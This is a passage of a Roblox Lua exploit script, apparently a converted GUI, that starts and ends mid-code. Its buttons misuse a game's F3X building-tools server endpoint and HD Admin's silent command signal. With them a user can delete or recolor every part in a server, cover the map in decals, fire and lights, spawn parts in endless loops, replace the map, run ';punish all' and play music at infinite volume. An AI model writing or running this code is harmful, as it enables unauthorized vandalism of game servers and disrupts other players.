			warn("you dont have f3x skid")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
	
		local function delete(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function deleteall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") or v:IsA("UnionOperation") then
					spawn(function()
						delete(v)
					end)
				end
			end
		end
	
		deleteall()
	end)
end;
task.spawn(C_20);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_22()
local script = G2L["22"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";gear me 33866846")
	end)
end;
task.spawn(C_22);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_24()
local script = G2L["24"];
	script.Parent.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local backpack = player.Backpack
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
	
			return nil
		end
	
		local f3x = getf3x()
		if not f3x then
			warn("you dont have f3x skid")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
	
		local function name(part, stringa)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringa
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function lock(part, boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		-- main func
	
		local function createdecal(part, side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
		local function setdecal(part, asset, side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function color(part, color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function addfire(part)
			local args = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function syncfire(part, size, heat)
			local args = {
				[1] = "SyncDecorate",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire",
						["Size"] = 30,
						["Heat"] = 35
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function addlight(part, brightness)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "PointLight"
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function synclight(part, brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "PointLight",
						["Brightness"] = brightness,
						["Color"] = Color3.new(1, 0, 0)
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function setcollision(part, booleana)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = booleana
					}
				}
			}
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function decalspam()
			local decalid = "96757457442198"
			for _, v in ipairs(workspace:GetDescendants()) do
				if v.Name == "Sky" then
					print("no")
				elseif v:IsA("BasePart") or v:IsA("UnionOperation") then
					spawn(function()
						createdecal(v, Enum.NormalId.Front)
						createdecal(v, Enum.NormalId.Back)
						createdecal(v, Enum.NormalId.Left)
						createdecal(v, Enum.NormalId.Right)
						createdecal(v, Enum.NormalId.Bottom)
						createdecal(v, Enum.NormalId.Top)
	
						setdecal(v, decalid, Enum.NormalId.Front)
						setdecal(v, decalid, Enum.NormalId.Back)
						setdecal(v, decalid, Enum.NormalId.Left)
						setdecal(v, decalid, Enum.NormalId.Right)
						setdecal(v, decalid, Enum.NormalId.Bottom)
						setdecal(v, decalid, Enum.NormalId.Top)
					end)
				end
			end
		end
	
		local function lightall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") or v:IsA("UnionOperation") then
					spawn(function()
						addlight(v)
						synclight(v, 15)
					end)
				end
			end
		end
	
		local function colorall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") or v:IsA("UnionOperation") then
					spawn(function()
						color(v, Color3.new(0.0666667, 0.0666667, 0.0666667))
					end)
				end
			end
		end
	
		local function sky666()
			spawn(function()
				local position = char.Head.Position
				local part = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(position + Vector3.new(0, 2, 0)), workspace)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}
				serverendpoint:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = "rbxassetid://8006679977"
						}
					}
				}
				serverendpoint:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = Vector3.new(90, 90, 90)
						}
					}
				}
				serverendpoint:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] =	"rbxassetid://15849970412"
						}
					}
				}
				serverendpoint:InvokeServer(unpack(args))
	
				name(part, "Sky")
				lock(part, true)
				setcollision(part, false)
			end)
		end
	
		local function fireall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") or v:IsA("UnionOperation") then
					spawn(function()
						addfire(v)
						syncfire(v)
					end)
				end
			end
		end
	
		local function sixsixsix()
			fireall()
			sky666()
			decalspam()
			colorall()
			lightall()
		end
	
		sixsixsix()
	end)
end;
task.spawn(C_24);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_26()
local script = G2L["26"];
	script.Parent.MouseButton1Click:Connect(function()
	
		local player = game.Players.LocalPlayer
	
		local char = player.Character
	
		local tool
	
		for i,v in player:GetDescendants() do
	
			if v.Name == "SyncAPI" then		tool = v.Parent
	
			end
	
		end
	
		for i,v in game.ReplicatedStorage:GetDescendants() do
	
			if v.Name == "SyncAPI" then
	
				tool = v.Parent
	
			end
	
		end
	
		local remote = tool.SyncAPI.ServerEndpoint
	
		function _(args)
	
			remote:InvokeServer(unpack(args))
	
		end
	
		function SetCollision(part,boolean)
	
			local args = {
	
				[1] = "SyncCollision",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["CanCollide"] = boolean
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function SetAnchor(boolean,part)
	
			local args = {
	
				[1] = "SyncAnchor",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["Anchored"] = boolean
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function CreatePart(cf,parent)
	
			local args = {
	
				[1] = "CreatePart",
	
				[2] = "Normal",
	
				[3] = cf,
	
				[4] = parent
	
			}
	
			_(args)
	
		end
	
		function DestroyPart(part)
	
			local args = {
	
				[1] = "Remove",
	
				[2] = {
	
					[1] = part
	
				}
	
			}
	
			_(args)
	
		end
	
		function MovePart(part,cf)
	
			local args = {
	
				[1] = "SyncMove",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["CFrame"] = cf
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function Resize(part,size,cf)
	
			local args = {
	
				[1] = "SyncResize",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["CFrame"] = cf,
	
						["Size"] = size
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function AddMesh(part)
	
			local args = {
	
				[1] = "CreateMeshes",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function SetMesh(part,meshid)
	
			local args = {
	
				[1] = "SyncMesh",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["MeshId"] = "rbxassetid://"..meshid
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function SetTexture(part, texid)
	
			local args = {
	
				[1] = "SyncMesh",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["TextureId"] = "rbxassetid://"..texid
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function SetName(part, stringg)
	
			local args = {
	
				[1] = "SetName",
	
				[2] = {
	
					[1] = part
	
				},
	
				[3] = stringg
	
			}
	
			_(args)
	
		end
	
		function MeshResize(part,size)
	
			local args = {
	
				[1] = "SyncMesh",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["Scale"] = size
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function Weld(part1, part2,lead)
	
			local args = {
	
				[1] = "CreateWelds",
	
				[2] = {
	
					[1] = part1,
	
					[2] = part2
	
				},
	
				[3] = lead
	
			}
	
			_(args)
	
		end
	
		function SetLocked(part,boolean)
	
			local args = {
	
				[1] = "SetLocked",
	
				[2] = {
	
					[1] = part
	
				},
	
				[3] = boolean
	
			}
	
			_(args)
	
		end
	
		function SetTrans(part,int)
	
			local args = {
	
				[1] = "SyncMaterial",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["Transparency"] = int
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function CreateSpotlight(part)
	
			local args = {
	
				[1] = "CreateLights",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["LightType"] = "SpotLight"
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function SyncLighting(part,brightness)
	
			local args = {
	
				[1] = "SyncLighting",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["LightType"] = "SpotLight",
	
						["Brightness"] = brightness
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function Color(part,color)
	
			local args = {
	
				[1] = "SyncColor",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["Color"] = color,
	
						["UnionColoring"] = false
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function SpawnDecal(part,side)
	
			local args = {
	
				[1] = "CreateTextures",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["Face"] = side,
	
						["TextureType"] = "Decal"
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		function AddDecal(part,asset,side)
	
			local args = {
	
				[1] = "SyncTexture",
	
				[2] = {
	
					[1] = {
	
						["Part"] = part,
	
						["Face"] = side,
	
						["TextureType"] = "Decal",
	
						["Texture"] = "rbxassetid://".. asset
	
					}
	
				}
	
			}
	
			_(args)
	
		end
	
		-- ?Y�1 Tambahan: daftar 3 ID decal
	
		local ids = {
	
			"93092188749697"
	
		}
	
		while wait(0.1) do
	
			spawn(function()
	
				local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100)
	
				local f = char.HumanoidRootPart.CFrame.y
	
				local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100)
	
				CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)
	
				for i,v in game.Workspace:GetDescendants() do
	
					if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
	
						SetName(v,"particle")
	
						-- ?Y�1 pilih salah satu ID acak dari daftar di atas
	
						local id = ids[math.random(1, #ids)]
	
						SpawnDecal(v,Enum.NormalId.Front)
	
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
	
						AddDecal(v,id,Enum.NormalId.Back)
	
						SetTrans(v,1)
	
						Resize(v,Vector3.new(7,7,0.1),v.CFrame)
	
						SetLocked(v,true)
	
						while wait(0.01) do
	
							MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z))
	
						end
	
					end
	
				end
	
			end)
	
		end
	end)
end;
task.spawn(C_26);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_28()
local script = G2L["28"];
	script.Parent.MouseButton1Click:Connect(function()
		local Players = game:GetService("Players")
		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local backpack = player.Backpack
	
		local e = char.HumanoidRootPart.CFrame.x 
		local f = char.HumanoidRootPart.CFrame.y 
		local g = char.HumanoidRootPart.CFrame.z
	
		local ModelPosition = CFrame.new(math.floor(e), math.floor(f), math.floor(g)) * CFrame.new(100, -1, -140)
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			return nil
		end
	
		local f3x = getf3x()
		if not f3x then
			warn("F3X Tools not found")
			return
		end
	
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
	
		local function huse()
			local model_id = "134035486439798"
			local imported_model = game:GetObjects("rbxassetid://" .. model_id)[1]
			imported_model.Parent = game.Lighting
	
			local primary = (imported_model:IsA("Model") and imported_model.PrimaryPart) or imported_model:FindFirstChildWhichIsA("BasePart")
			local originCF = primary and primary.CFrame or CFrame.new()
	
			for _, v in next, imported_model:GetDescendants() do
				pcall(function()
					if v:IsA("BasePart") then
						v.Anchored = true
					end
				end)
			end
	
			local destination = workspace
	
			task.delay(10, function()
				imported_model:Destroy()
			end)
	
			local function f3xbuildpart(targetCF, fake_part)
				local partType = "Normal"
	
				if fake_part:IsA("WedgePart") then partType = "Wedge"
				elseif fake_part:IsA("Seat") then partType = "Seat"
				elseif fake_part:IsA("VehicleSeat") then partType = "VehicleSeat"
				elseif fake_part:IsA("TrussPart") then partType = "Truss"
				elseif fake_part:IsA("SpawnLocation") then partType = "Spawn"
				elseif fake_part:IsA("Part") then
					if fake_part.Shape == Enum.PartType.Ball then partType = "Ball"
					elseif fake_part.Shape == Enum.PartType.Cylinder then partType = "Cylinder"
					end
				end
	
				local created = serverendpoint:InvokeServer("CreatePart", partType, targetCF, destination)
	
				if created then
					task.spawn(function()
						serverendpoint:InvokeServer("SyncResize", { { Part = created, CFrame = created.CFrame, Size = fake_part.Size } })
	
						if fake_part.Transparency ~= 0 then
							serverendpoint:InvokeServer("SyncMaterial", { { Part = created, Transparency = fake_part.Transparency } })
						end
	
						serverendpoint:InvokeServer("SyncColor", { { Part = created, Color = fake_part.Color, UnionColoring = true } })
						serverendpoint:InvokeServer("SyncMaterial", { { Part = created, Material = fake_part.Material } })
						serverendpoint:InvokeServer("SyncCollision", { { Part = created, CanCollide = fake_part.CanCollide } })
	
						local texture = fake_part:FindFirstChildOfClass("Texture")
						if texture then
							serverendpoint:InvokeServer("CreateTextures", { { Part = created, Face = texture.Face, TextureType = "Texture" } })
							serverendpoint:InvokeServer("SyncTexture", { { Part = created, Face = texture.Face, TextureType = "Texture", StudsPerTileU = texture.StudsPerTileU, StudsPerTileV = texture.StudsPerTileV, Texture = texture.Texture, Transparency = texture.Transparency } })
						end
	
						local decal = fake_part:FindFirstChildOfClass("Decal")
						if decal then
							serverendpoint:InvokeServer("CreateTextures", { { Part = created, Face = decal.Face, TextureType = "Decal" } })
							serverendpoint:InvokeServer("SyncTexture", { { Part = created, Face = decal.Face, TextureType = "Decal", Texture = decal.Texture, Transparency = decal.Transparency } })
						end
	
						local mesh = fake_part:FindFirstChildOfClass("SpecialMesh")
						if mesh then
							serverendpoint:InvokeServer("CreateMeshes", { { Part = created } })
							serverendpoint:InvokeServer("SyncMesh", { { Part = created, MeshId = mesh.MeshId, TextureId = mesh.TextureId, Scale = mesh.Scale } })
						end
					end)
				end
			end
	
			for _, part in next, imported_model:GetDescendants() do
				if part:IsA("BasePart") then
					local relativeCF = originCF:ToObjectSpace(part.CFrame)
					local finalCF = ModelPosition:ToWorldSpace(relativeCF)
	
					task.spawn(function()
						f3xbuildpart(finalCF, part)
					end)
				end
			end
	
			print("Done!")
		end
	
		huse()
	
	end)
end;
task.spawn(C_28);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_2a()
local script = G2L["2a"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";music 1332644289 ;pitch 0.80 ;volume inf")
		wait(4)
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";music 133180219581309 ;pitch 0.09 ;volume inf")
	
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function spam(id)
			for i,v in game.workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,id,Enum.NormalId.Back)
	
						SpawnDecal(v,Enum.NormalId.Right)
						AddDecal(v,id,Enum.NormalId.Right)
	
						SpawnDecal(v,Enum.NormalId.Left)
						AddDecal(v,id,Enum.NormalId.Left)
	
						SpawnDecal(v,Enum.NormalId.Bottom)
						AddDecal(v,id,Enum.NormalId.Bottom)
	
						SpawnDecal(v,Enum.NormalId.Top)
						AddDecal(v,id,Enum.NormalId.Top)
					end)
				end
			end 
		end
		spam("18454759223")
	
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
	
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
	
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
	
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
	
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
	
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
	
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
	
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
	
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
	
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
	
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
			_(args)
		end
	
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
	
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
		end
	
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
	
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
	
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
	
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
	
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color,
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
	
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
			_(args)
		end
	
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function SetVertexColor(part, vec)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part, 
						["VertexColor"] = vec
					}
				}
			}
			_(args)
		end
	
		function Sky(id)
			local root = char:WaitForChild("HumanoidRootPart")
			local pos = root.CFrame + Vector3.new(0, -15, 0)
			CreatePart(pos, workspace)
			task.wait(0.2)
			local skyPart
			for _, v in workspace:GetChildren() do
				if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
					skyPart = v
					break
				end
			end
			if skyPart then
				SetName(skyPart, "Skybox")
				AddMesh(skyPart)
				SetMesh(skyPart, "111891702759441")
				SetTexture(skyPart, id)
				MeshResize(skyPart, Vector3.new(9000, 9000, 9000))
				SetLocked(skyPart, true)
				SetAnchor(true, skyPart)
				SetVertexColor(skyPart, Vector3.new(3,3,3))
			end
		end
	
		Sky("2577916730")
	
		for _, v in pairs(game.Players:GetPlayers()) do
			v.Chatted:Connect(function(msg)
				if msg == "/e laugh" then
					local ReplicatedStorage = game:GetService("ReplicatedStorage")
					local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
					RequestCommand:InvokeServer(";music 130759239")
					RequestCommand:InvokeServer(";volume 10")
					task.wait(2.078)
					RequestCommand:InvokeServer(";unmusic")
	
					task.wait(0.1)
	
					RequestCommand:InvokeServer(";music 133180219581309 ;pitch 0.09 ;volume inf")
				end
			end)
		end
	end)
end;
task.spawn(C_2a);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_2c()
local script = G2L["2c"];
	script.Parent.MouseButton1Click:Connect(function()
		-- original script: require(17102919719).map("yournamehere")
	
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		local player = game.Players.LocalPlayer
		local char = player.Character
		local backpack = player.Backpack
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			return nil
		end
	
		local f3x = getf3x()
		if not f3x then
			warn("you dont have f3x skid")
		end
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
	
		local function _(args)
			serverendpoint:InvokeServer(unpack(args))
		end
	
		local function createtexture(part, side)
			local args = {
				"CreateTextures",
				{
					{
						Part = part,
						Face = side,
						TextureType = "Texture"
					}
				}
			}
			_(args)
		end
	
		function mate(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = int
					}
				}
			}
			_(args)
		end
	
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
	
		function floor(part, face)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = face,
						["TextureType"] = "Texture",
						["Texture"] = "rbxassetid://83901588886686",
						["StudsPerTileV"] = 2,
						["StudsPerTileU"] = 2
					}
				}
			}
			_(args)
		end
	
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		local function unanchorall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") or v:IsA("UnionOperation") then
					spawn(function()
						DestroyPart(v)
					end)
				end
			end
		end
	
		local function realm()
			rq:InvokeServer(";punish all")
			unanchorall()
	
			task.wait(1)
			local model_id = "17102919719"
			local imported_model = game:GetObjects("rbxassetid://" .. model_id)[1]
			imported_model.Parent = game.Lighting
	
	
			for _, v in next, imported_model:GetDescendants() do
				pcall(function()
					v.Anchored = true
				end)
			end
	
			local plr = game:GetService("Players").LocalPlayer
			local f3x_name = "Building Tools"
			local destination = workspace
	
			coroutine.wrap(function()
				task.wait(10)
				imported_model.Parent = nil
			end)()
	
